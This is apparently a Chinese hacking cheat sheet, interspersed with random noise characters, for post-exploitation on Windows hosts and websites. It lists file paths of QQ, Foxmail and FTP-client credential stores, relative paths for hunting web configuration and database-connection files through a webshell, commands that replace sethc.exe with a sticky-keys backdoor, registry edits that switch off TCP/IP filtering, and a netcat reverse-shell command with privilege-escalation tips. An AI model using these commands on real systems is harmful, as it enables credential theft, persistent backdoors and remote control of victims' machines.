! `0 |" y: O& y8 }$ C, I" yc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
* X5 G7 {" Q. O8 ^8 F' g+ q+ J! Nc:\Program Files\Tencent\qq\Users\All Users\Registry.db
7 i8 Z6 E. l& T6 u9 bC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
# [( s$ J( o- K. j: X* T2 [' [3 vc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
6 F! ^( S  q1 l; ?% [6 H7 S# UC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
+ R  x$ F* S& v& xC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
. D4 }. c! f- Z4 P/ vC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
1 S2 h: o* A- k7 C( Ac:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
: Y7 `! p5 s0 D$ p: `* l+ hC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
% r# c: l8 h3 y0 C0 {c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
4 ]  N( `# r" T  M% S6 jc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:
7 }) Q2 Z! y# A* }: o5 f, c/ t
& X/ [9 I$ Q3 k/ N- [: j/ p: G1 S/config.php
# u7 n" O3 V7 R* |+ T../../config.php
../config.php
6 d) B+ H$ e' P* `( |: J- g% s* W../../../config.php
/config.inc.php
: W$ o9 B3 g, K2 c6 _8 x/ H./config.inc.php
../../config.inc.php
../config.inc.php
) P' w: {$ p% N../../../config.inc.php
2 L$ @! Z# i  C* H9 ^/conn.php
./conn.php
. V0 c" L! |/ p, P. J9 }../../conn.php
../conn.php
4 p' Y# g& t  Z4 \: R* I* P../../../conn.php
/conn.asp
4 B4 V+ l% i. r./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
; ~( ?/ z! i* ?% J. C- g9 g../../config.inc.php
../config.inc.php
2 ?; s+ U2 R- n* A../../../config.inc.php
3 n3 U% a: G; q' L4 G) G" R/config/config.php
../../config/config.php
# w% `$ c8 h9 B0 @, \2 c, v" l1 e../config/config.php
../../../config/config.php
/config/config.inc.php
: t; [- _  E9 y$ X8 A./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
+ t( N/ V. F$ q0 q/config/conn.php
./config/conn.php
7 U+ b; q* O. E2 W, Q5 N  }9 |( D. g../../config/conn.php
../config/conn.php
../../../config/conn.php
% [0 D& u( E1 ?" \/config/conn.asp
./config/conn.asp
4 v" l/ ]7 z% p! ~4 ?- T../../config/conn.asp
! S' f* o, R. b: f! n# p../config/conn.asp
../../../config/conn.asp
9 h; @+ a/ Y8 V/config/config.inc.php
) ~# m% G' A5 A$ `3 d( K3 a./config/config.inc.php
) s% `/ k- k/ y" E; r% A8 p6 y  E* X../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
$ S( U+ h& c  t3 D) v. ^./data/config.inc.php
7 l7 K+ K5 ^5 q5 R5 Y: }# V../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
% K! s6 [0 y5 L* q  Q# X6 h; s/data/conn.php
./data/conn.php
../../data/conn.php
4 p' l5 z5 ]9 i' T6 S) ?/ F& ]../data/conn.php
../../../data/conn.php
/data/conn.asp
0 H& y  C$ u* g: |+ J$ n9 J) U./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/ g! z- H& V6 B' _% E5 H/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
: I% Q$ i8 h1 `+ l+ L+ q../data/config.inc.php
- j8 g) d( I3 m! Q6 Q9 g3 _  \../../../data/config.inc.php
1 r( z1 c9 G3 w- T9 @. i/include/config.php
; N6 M  o& o7 _) H3 J0 a/ c/ t../../include/config.php
../include/config.php
) [7 S' |$ }; [  X/ e7 r../../../include/config.php
/include/config.inc.php
  ]- ~: x+ N6 G" n! p. z3 T./include/config.inc.php
../../include/config.inc.php
/ b9 P+ \& P# B4 f& G: T../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
0 F! ]) b0 E; j! ^./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
" F* \. `" M0 Q" O./include/conn.asp
8 G* \( J9 q1 }& a../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
% n% M  p- N+ ?* S# e- g0 ]1 T/include/config.inc.php
./include/config.inc.php
! {" n& c! c& e6 f' v! l5 T( {../../include/config.inc.php
../include/config.inc.php
) S5 K/ [& s3 G. ^3 j$ C) _../../../include/config.inc.php
) V3 [& b& y2 y7 i/inc/config.php
../../inc/config.php
$ \  B3 G+ \$ j; e; `../inc/config.php
../../../inc/config.php
- ~* b. `% b  H% L/inc/config.inc.php
./inc/config.inc.php
' v5 L; ]' {& M" G. f7 E8 e) [../../inc/config.inc.php
../inc/config.inc.php
: H0 L, y% s% h7 W../../../inc/config.inc.php
! p5 W9 X/ E5 d& M! w' G5 a6 s8 e* ~/inc/conn.php
./inc/conn.php
../../inc/conn.php
" x9 J* G$ o0 N, M: c4 [../inc/conn.php
7 b  D% n* u0 a! |9 N7 Z6 ?5 k../../../inc/conn.php
$ j  u# j) S4 E4 g/inc/conn.asp
2 Y) K1 j6 S2 W3 _; P$ k6 s/ l$ R./inc/conn.asp
- Z1 y' T) o7 z8 E../../inc/conn.asp
1 W1 z" W# x, V. @; V# N% W% X../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
( Y: J% y8 ~/ T+ z6 `! o& O./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
& q) v: j6 k# n( N3 i../../../inc/config.inc.php
/index.php
7 x" U+ e6 ?7 t# ?./index.php
../../index.php
../index.php
../../../index.php
: I$ `# r% ~( N" n; l2 W/index.asp
./index.asp
( r2 V6 B9 J# x../../index.asp
" C6 m( Q- `+ f4 D- l: w../index.asp
4 Q2 w" U! _5 m+ w../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

7 R) q. B- [6 l  s5 h& R; @　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
+ N3 x0 H% ?+ f: G- @: p' c$ P
, x! D6 i7 Y; l% a3 C' d7 b% e　　del c:\windows\system32\sethc.exe

7 f$ T: B3 F* S" Y　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
" ^( c' |$ F+ o% o9 ^( H
, V# Y9 r1 a- H- @' U  V, ]" {1 p　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
; t9 v0 S0 e9 Z" s/ Q* M# ^
　　attrib c:\windows\system32\sethc.exe +h +r +s
% }; k7 d( l* s
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
% A- H: u4 ~4 t2 i6 n去除TCPIP筛选
; Y" p+ p8 C" D. m& N7 F! [4 [TCP/IP筛选在注册表里有三处，分别是：
! n2 k( ~+ h& _# jHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
$ r4 N9 m# p0 U9 g6 MHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
- j7 K3 Z0 m; }% \& ]regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; |' C# d  R# |8 Gregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
8 m9 d. d2 L2 `4 ~* M, |5 d
再将以上三个文件分别用
! h: B: V; g% E/ Mregedit -s D:\a.reg
: u( A5 `, v. t- O9 N& Lregedit -s D:\b.reg
8 t3 }. |1 U# r3 @" [! P( jregedit -s D:\c.reg
导入注册表即可

0 o6 m2 m& S; b3 ~3 Uwebshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
; R! b1 v0 |6 B' x. k: r"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
' b) w( M& f# w8 [5 x9 n
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
- ?* Y+ ?$ d/ T却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功